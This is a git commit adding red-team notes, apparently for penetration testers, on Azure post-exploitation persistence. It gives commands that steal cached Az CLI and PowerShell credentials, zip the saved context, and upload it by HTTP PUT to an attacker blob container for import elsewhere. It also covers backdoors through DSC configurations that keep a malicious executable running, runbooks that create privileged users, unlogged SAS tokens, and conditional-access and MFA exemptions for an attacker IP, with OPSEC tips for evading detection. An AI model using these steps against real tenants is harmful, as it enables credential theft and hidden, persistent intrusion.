first commit
This commit is contained in:
@@ -0,0 +1,104 @@
|
||||
- Credentials
|
||||
- https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/
|
||||
- Check C:\\Users\\%USERNAME%\.Azure for cached credentials from Az CLI or Powershell cmdlets
|
||||
- Bypasses MFA/Oauth/Conditional access
|
||||
- NOTE: For OPSEC, prevent Azure context from being automatically saved for a local user:
|
||||
- `Disable-AzContextAutosave -Scope CurrentUser`
|
||||
- Check validity of existing credentials
|
||||
- `Get-AzSubscription`
|
||||
- `az account list`
|
||||
- Save current Azure context
|
||||
- `Save-AzContext -Path azureprofile.json`
|
||||
- `7z a azureprofile.zip azureprofile.json`
|
||||
- Exfiltrate to Blob Container
|
||||
- HTTPie
|
||||
- `http PUT "<blob_container_url>" "@azureprofile.zip" "x-ms-blob-type: BlockBlob"`
|
||||
- PowerShell
|
||||
- `Invoke-WebRequest -Method 'PUT' -Uri '<blob_container_url>' -OutFile 'azureprofile.zip' -Headers @{"x-ms-blob-type"="BlockBlob"}`
|
||||
- Download exfiltrated file
|
||||
- `Invoke-WebRequest -Uri "<blob_container_url>" -OutFile azureprofile.zip`
|
||||
- Extract
|
||||
- `7z e azureprofile.zip`
|
||||
- Import authentication context
|
||||
- `Import-AzContext -Path .\azureprofile.json`
|
||||
- Verify
|
||||
- `Get-AzResourceGroup`
|
||||
|
||||
- Virtual Machines
|
||||
- Opening management ports is typically ill-advised, but one option is to specify an Azure service tag as the source when opening the port (such as RDP or SSH).
|
||||
- Example: modifying a network security group to allow RDP/SSH from the AzureCloud or AzureCloud.UKSouth service tag looks less suspicious while still allowing connections from any Azure node matching that range
|
||||
- Add a managed identity
|
||||
- Can be done in Azure Portal
|
||||
- Add to system or user
|
||||
- Assign additional rights to the managed identity at subscription/management group and/or Azure AD for persistence
|
||||
- User-assigned (using an existing user with permissions we want) may be less noisy as it won't need more permissions added afterward.
|
||||
|
||||
- Automation account
|
||||
- Desired State Configuration (DSC)
|
||||
- Reverts systems to a "desired configuration" if that configuration ever should change
|
||||
- Simply have your "desired state" be "running my malicious EXE"
|
||||
- [Azure Persistence with Desired State Configurations (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-persistence-with-desired-state-configurations/)
|
||||
- Process:
|
||||
- Add target VM as DSC node to Automation account service
|
||||
- Upload configuration
|
||||
- Compile configuration
|
||||
- Assign configuration to VM
|
||||
- Wait for DSC to indicate the node is out of compliance and run the correction script
|
||||
- Example config:
|
||||
- "File should exist at C:\\testfile.exe"
|
||||
- "A process should be running from that path"
|
||||
- "If either condition is not satisfied, correct it"
|
||||
- Very well-hidden in the Azure interface and a lesser-known feature, so it may fly under the radar
|
||||
- Automation Run as accounts
|
||||
- [Maintaining Azure Persistence via Automation Accounts (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/maintaining-azure-persistence-via-automation-accounts/)
|
||||
- Example process:
|
||||
- Assign Run as account a privileged Azure AD role (Global/User Admin)
|
||||
- Create runbook that adds a new user (with known password) to Azure AD tenant
|
||||
- Assign new user privileged role in Azure AD
|
||||
- Use new user as short-term channel to access Azure AD
|
||||
- Consider using a webhook to trigger persistence
|
||||
|
||||
- Maintaining access to PaaS services
|
||||
- Best targets are data stores or secret stores such as SQL dbs, storage accoutns, container registries, and key vaults
|
||||
- Can persist on a public endpoint, but must add an IP address and this is noisy
|
||||
- Can add a Firewall exception (such as to Azure SQL) to allow access to "Azure services and resources"; this allows public IPs from other organizations provided they are in Azure. Use with caution and probably only with SQL and not for services with networking restrictions
|
||||
- Persistence to platform services
|
||||
- Generating Shared Access Signature (SAS) tokens is not explicitly logged in Activity Log - good option for Azure Storage
|
||||
- Can always add RBAC role assignments to a backdoor user too
|
||||
|
||||
- Azure AD persistence
|
||||
- Creating new principals probably raises more alerts than modifying existing
|
||||
- Creating a new user
|
||||
- Requires `microsoft.directory/users/create` permission (User Administrator, Global Administrator, Directory Writers)
|
||||
- For naming, try to emulate the target organization but consider if alternate naming schemes (alternate domains) might bypass MFA (Okta)
|
||||
- Review audit logs to determine if the identity you're using is normally used to create Azure AD user accounts
|
||||
- Creating service principal
|
||||
- ALL non-guest users can create service principals by default
|
||||
- If that default permission is disabled, `microsoft.directory/servicePrincipals/create` permission is needed
|
||||
- Application Administrator, Application Developer, Cloud Application Administrator
|
||||
- Great for bypassing MFA/conditional access/privileged identity management (not blocked or not supported)
|
||||
- Creating guest user
|
||||
- Depends on "Collaboration restrictions" - might be able to invite users from any domain (outlook, gmail, etc.) or only from specified ones
|
||||
- By default, any user or guest user can be used to invite external identities into the tenant
|
||||
- Some orgs may place conditional access policies on guest accounts; consider bypassing/disabling
|
||||
- Modifying existing identities
|
||||
- Look for existing disabled identities, enable them, and reset password.
|
||||
- `microsoft.directory/users/enable` - User Administrator, Global Administrator
|
||||
- [Azure AD built-in roles - Azure Active Directory - Microsoft Entra | Microsoft Learn](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#password-reset-permissions)
|
||||
- Add a secret/password to an existing service principal
|
||||
- `microsoft.directory/servicePrincipals/credentials/update` - Application Administrator, Hybrid Identity Administrator, Global Administrator
|
||||
- Granting privileges to an identity
|
||||
- Add to privileged group
|
||||
- If assigned-membership type - add identity to a privileged group manually
|
||||
- If dynamic user membership type, either modify rules so they include our backdoor identity or modify identity to fit existing rules
|
||||
- Assign identity to privileged roles
|
||||
- Requires `microsoft.directory/roleAssignments/allProperties/allTasks`
|
||||
- Global Administrator, Privileged Role Administrator
|
||||
- Consider if Privileged Identity Management (PIM) is in use
|
||||
- If so, use an active assignment for the backdoor identity instead of an eligible one that requires activation
|
||||
- If Azure Blueprint is in use, must create a definition, publish, and then assign.
|
||||
- Ensuring access by bypassing security policies
|
||||
- Create conditional access loopholes for backdoor identities
|
||||
- Add attacker IP as trusted in conditional access
|
||||
- Add attacker IP as trusted for MFA
|
||||
- Use subcription-level persistence to work with existing Azure AD restrictions
|
||||
Reference in New Issue
Block a user